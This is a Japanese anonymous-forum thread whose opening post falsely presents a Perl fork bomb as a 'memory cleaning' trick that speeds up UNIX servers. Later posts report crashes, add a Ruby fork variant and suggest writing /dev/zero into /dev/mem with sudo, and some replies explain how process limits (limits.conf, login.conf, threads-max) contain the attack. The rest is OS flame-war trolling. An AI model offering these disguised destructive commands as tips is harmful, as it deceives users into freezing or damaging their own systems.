簡単！メモリクリーニング

1名無しさん＠お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
NGNG
> うーむ、もしかしてLinuxってだめぽ？
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
NGNG
変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
NGNG
67でつが
次回はFreeBSDでも入れて試してみます〜
NGNG
>>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。
NGNG
login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc （maxusersで変動）が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
73名無しさん＠お腹いっぱい。
垢版 |
NGNG
これだろ
http://purejp.com
NGNG
RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
NGNG
おれもやってみたけど、
Linuxだと簡単に死ぬ。
NGNG
犬は死ぬ！
必ず死ぬ！
絶対死ぬ！
NGNG
>>74-76
( ´,_ゝ`)ﾌﾟｯ
NGNG
Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.

とても安全だ
NGNG
Windows最強説浮上
NGNG
漏れのunixも安全ﾀﾞﾀｰﾖ

>% perl -e "while (1) { fork; }"
>perl: Command not found.
81名無しさん＠お腹いっぱい。
垢版 |
NGNG
[sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951

Linux . 効果なし。だめぽ〜
NGNG
*BSDで試した人いないの？
NGNG
>>82
FreeBSD 4.8-STABLE で試した。

何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。

あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC
NGNG
Linuxとかって子プロセスの数の制限ってかけられないの？
NGNG
>>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。
NGNG
落ちるのはうんこOSということだな
87名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
88名無しさん＠お腹いっぱい。
垢版 |
NGNG
うんこ → Linux
　↑　　　　↓
Linux ← うんこ
NGNG
よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ？
NGNG
>>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの？
91名無しさん＠お腹いっぱい。
垢版 |
NGNG
これ最強。

$ ruby -e '(1..10).each{ fork }'
92名無しさん＠お腹いっぱい。
垢版 |
NGNG
( ´,_ゝ`)ﾌﾟﾌﾟｯ
Linuxってうんこじゃん
NGNG
リナックスうんこ説浮上
NGNG
FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。

4.8Rは出ているようなので今度NetBSDでやってみよう。
NGNG
>>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。

96名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>95
目の前の不全PCと睨めっこ３０分とは気が長いですね。
俺はせいぜい３分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。
NGNG
犬房は気が長い（＝不感症）説浮上
NGNG
>>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。

ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師
NGNG
あぼーん
NGNG
「死ぬ」っていいたいだけちゃうんかと（ｒｙ
101名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linuxはうんこだから死にます
102名無しさん＠お腹いっぱい。
垢版 |
NGNG
すげえ！
早くなったよ！
>>1は神！！！
NGNG
何にしてもアンチというのは現状を見ようとしませんね。

「死ぬ」という事にしたいだけなんでしょうけど。
哀れ。
NGNG
コレかな?


ユーザーごとに使用できるリソース制限をしたい
http://www.zdnet.co.jp/help/tips/linux/l0652.html
NGNG
UNIXベースのMacOSXでは無理ですた。
NGNG
>>78
そーいやWin2Kで(迂闊にも)部落ら踏んだ時は、GDIだかUSERだかの
リソース制限超えてExplorer反応無し->あぼーん、そのままログオフも
できずCTRL+ALT+DELにも反応せず、結局電源ぶちしか出来なくなった
事があったな。

# NT系でも一応リソース制限はあるらしい。つか、リソース食いつぶし
# を防ぐ為に制限してると聞いたが、効果無いやん…

今回のようにコンソールプロセスなら大丈夫なのかもしれんが。
NGNG
**実験結果**

/etc/pam.d/login と /etc/pam.d/ssh に
---
session required pam_limits.so
---
を追加。

以下の内容で/etc/security/limits.conf を作成
---
@stupiduser hard priority 19
@stupiduser hard nofile 8139
@stupiduser hard nproc 20
@stupiduser - maxlogins 2
---

/etc/login.defs の "QUOTAS_ENAB" は
deprecatedらしいのでコメントにする。


念のために3つ以上ログインしようとすると"permission denied"が返ってくる
、つまり設定有効になっていることを確かめてから >>1 をやってみた。

ぜんぜん平気だった。
NGNG
訂正
-@stupiduser
+@stupidgroup
ユーザー名で指定するときは頭の@は要らず、
また、ワイルドカードが使用可の模様。
NGNG
>>96
いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、
これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。

>>97
むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。
NGNG
>>107
実験環境キボーンヌ。
OSは?kernel versionは?マシンのスペックは?
NGNG
>>109
でもさすがに３０分も放置ﾌﾟﾚｲだとTCPも切れるし、
fsck時間考慮しても再起動したほうが早くね？
NGNG
うちではfsckなんてありません。
ジャーナリングファイルシステム マンセー
NGNG
うちではfsckなんてありません。
スキャンディスク マンセー
NGNG
ﾜﾗﾀ
NGNG
結局は何も設定してないLinux系は止まってしまうということですか…
NGNG
いいえ
つか、アンチ必死だな
NGNG
で、どうやったらLinux止まるんだ？
>>1のやつじゃ、ビクともしませんが。
NGNG
halt
もしくは
shutdown -h now

確実に止まります、Linuxに限らずUnix系OSはウンコですね。
NGNG
Linuxは30分に１分程度使えるくらいなら正常動作説浮上
NGNG
Windowsはコマンド一個じゃ止まりません。
すばらしい堅剛性 まさに無敵。
おまいら、羨しいだろ。
素直にWindows使え。
NGNG
>>119
ﾊｧ? 何言ってんの？
WindowsやMacと一緒にすんなよ。

きもちわりー
NGNG
無知な窓坊相手にするなよ。
30分に１分使えれば正常動作説 ってことにしといてやれよ。
じゃないと、>>119が可哀想。
ああいう事するしか自分を支え術がないんだよ。
可哀想な人なんだよ。
NGNG
そうか、すまんかった>>119
イキロ
NGNG
可哀想な>>119を慰めるスレはここですか？
NGNG
>>119
がんがれよ、その内いいこともあるさ
126
垢版 |
NGNG
>>119
がんがれよ、その内いいこともあるさ
NGNG
>>119に友達になってくれそうな人探してきた。

いらすま
山崎渉
山崎13
自動化

よかったね。 友達増えそうだね。
NGNG
>>119
がんがって氏ね
NGNG
>>128
そんな事いっちゃみもふたもないよ!
どんな奴にも生きる権利はあるんだよ!!
がんがれ>>119 まけんな!
いつか良いことあるさ!
とりあえず、学校で友達つくろうね!
NGNG
>>119
友達作る前に、まずは家から出ようね!
NGNG
>>119
家から出る前に、家族と話す練習しておこうね!
132
垢版 |
NGNG
漏は、>>119 が可哀想になってきたよ
NGNG
>>132
みんな同じ気持だよ!
だから>>119を応援してあげようね!

>>119 カウンセリングはちゃんと受けようね!
病院の先生の言う事聞いて早く学校に行けるようになると良いね!!!
学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!
NGNG
>>1
動かしました。
スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら
空きがすっぽり増えてました・・・

けどキャッシュがへってんじゃねぇかよ！意味ねぇっつうの！
NGNG
>>134
書き込む前にレスは嫁
NGNG
>>1のやり方じゃあスワップは発生せんということ
137119
垢版 |
NGNG
>>123
ありがと。わかってくれるのはきみと>>109だけだよ。
138名無しさん＠お腹いっぱい。
垢版 |
NGNG
CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。
すいませんでした。

>>107
[root@g /root]# uname -r
2.2.18-0vl4.2my

で同じ設定やってみました。
一般ユーザーからならこれで大丈夫なことが私の方でも
上記カーネルの Vine 2.1.5 で確認できました。

ただやはり root からだと駄目みたいです。
プロセスが起動できませんとかってコマンドがでてしまいます。

CTRL+C できない状況だった場合は、もうどうしよーも無いという認識
でOKでしょうか。

SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間
中にでも調べてみます。

＞＞＜レガッタでやった人の番号＞
# 会社のマシンじゃRegatta どころか C20 とかでもこんなこと
# 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。
NGNG
ctrl+alt+k
NGNG
>>118
見てたら眠くなってきた。
NGNG
Ctrl+Cでは止まらんかったぞい
NGNG
>>120
http://www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp
http://arena.nikkeibp.co.jp/qa/os/20020320/01/
知識を得てから煽れ。
NGNG
どりゃぁ！
sudo cat /dev/zero > /dev/mem
少しすっきり・・・しない？
NGNG
まあとにかく
結果はどうあれ

Ｌ　ｉ　ｎ　ｕ　ｘ　は　ウ　ン　コ　
　と　に　か　く　ウ　ン　コ
　 絶　対　ウ　ン　コ
　ウ　ン　コ　以　外　あ　り　え　な　い
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　最　強
NGNG
さっき、自鯖にNetBSD入れました…
社内用なんでSambaとApacheしか動かさないけど
それでいいよね（ｗ
146名無しさん＠お腹いっぱい。
垢版 |
NGNG
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　を　入　れ　な　さ　い
　Ｎ　ｅ　ｔ　Ｂ　Ｓ　Ｄ　な　ん　て　気　違　い　の　使　う　物　で　す
147あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>146
いれるまでもなく最初から入ってますが。
NGNG
ふーん
NGNG
この板にもWin厨がいるんだ・・・
ってかtatibanaか？Linux板で居場所がなくなったからこっちきたとか？
NGNG
Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が
大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに
>>1 をやると結構辛い(一応再起動せずに終了できたけど。)

>>84
/proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して
おくと unlimited でもハングアップしなくなるよ。

NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも
/netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに
デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので
問題なく終了できた。
NGNG
ほらLinuxはウンコだ。
Windowsは自己防御のために再起動してくれる親切設計なのにね。
Linuxは時代遅れ決定(ｹﾞﾗｹﾞﾗ
NGNG
Linuxウンコ記念age
NGNG
>>152
禿しく何かが違う気がするが
(ーё一)ｷﾉｾｰﾆｬ。
NGNG
ネ タ で す か らw
NGNG
Windowsはユーザに見苦しいエラーメッセージを見せず
鮮かなブルーの画面で、ユーザーの心を癒し
ユーザーの手間を煩わせず自動で再起動。

それまでの作業中のファイルは、ユーザー教育のために一から作成させる
すばらしい心意気。
NGNG
プロセス数制限すると大丈夫ってことで
じゃあ制限を外すとどうなるのかってのが気になる
NGNG
と、こんな感じ？w
159１５７
垢版 |
NGNG
すまんそ
NGNG
いえいえ。
NGNG
>>156
しかも、画面の色が赤とか黒とかではなく、
世界で最も愛される色・気持ちを落ち着かせてくれる色である
「青」というのが大きなポイントだね。
NGNG
そう、エラーという不測の自体を
癒しにかえてくれる素敵なWindows
NGNG
最近は謝ってくれるらしいし
NGNG
XPか。
そういや、Gentoo Linux 使ってみたら

su
Password:
su: Authentication failure
申し訳ございません.

陳謝ブームか？
165名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>143

神！！！
166
垢版 |
NGNG
>>143
sudoers に、catが登録されてません
NGNG
>>166
suしてくらさい
新着レスの表示
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。
ニューススポーツなんでも実況